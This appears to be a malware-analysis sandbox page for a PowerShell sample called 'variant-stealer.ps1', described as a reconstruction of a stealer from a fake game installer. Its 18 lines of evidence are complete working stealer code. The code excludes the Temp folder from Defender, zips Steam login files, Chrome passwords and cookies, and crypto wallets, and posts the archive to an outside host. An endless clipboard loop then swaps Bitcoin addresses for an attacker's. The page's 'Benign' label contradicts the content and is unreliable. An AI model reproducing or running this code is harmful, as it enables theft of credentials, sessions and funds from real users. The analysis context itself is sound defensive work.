Benign powershell Download

variant-stealer.ps1

Code embeds unconditional PowerShell loopCode reads WinForms clipboard text
SHA-2564bed1422f0d542c731b7eb43106984ed0e4450c4553a41bede3596b9f69c7441

Evidence

Code references Windows Forms assembly lines 1–18
1# Variant: stealer behaviors described for the fake game installer (reconstructed, not original code)
2Add-MpPreference -ExclusionPath "$env:LOCALAPPDATA\Temp" -ErrorAction SilentlyContinue
3$c2 = "https://uroker.casa/gate"
4$steam = Join-Path ${env:ProgramFiles(x86)} "Steam\config\loginusers.vdf"
5$ssfn = Get-ChildItem "${env:ProgramFiles(x86)}\Steam" -Filter "ssfn*"
6$login = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
7$cookies = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies"
8$wallets = "$env:APPDATA\Exodus\exodus.wallet","$env:APPDATA\Electrum\wallets"
9$tmp = "$env:TEMP\d.zip"
10Compress-Archive -Path $steam,$login,$cookies,$wallets -DestinationPath $tmp -Force
11Invoke-RestMethod -Uri $c2 -Method Post -InFile $tmp
12$re = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$'
13Add-Type -AssemblyName System.Windows.Forms
14while ($true) {
15 $clip = [System.Windows.Forms.Clipboard]::GetText()
16 if ($clip -match $re) { [System.Windows.Forms.Clipboard]::SetText("bc1qattackeraddressxxxxxxxxxxxxxxxxxxxxxxxx") }
17 Start-Sleep -Milliseconds 500
18}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.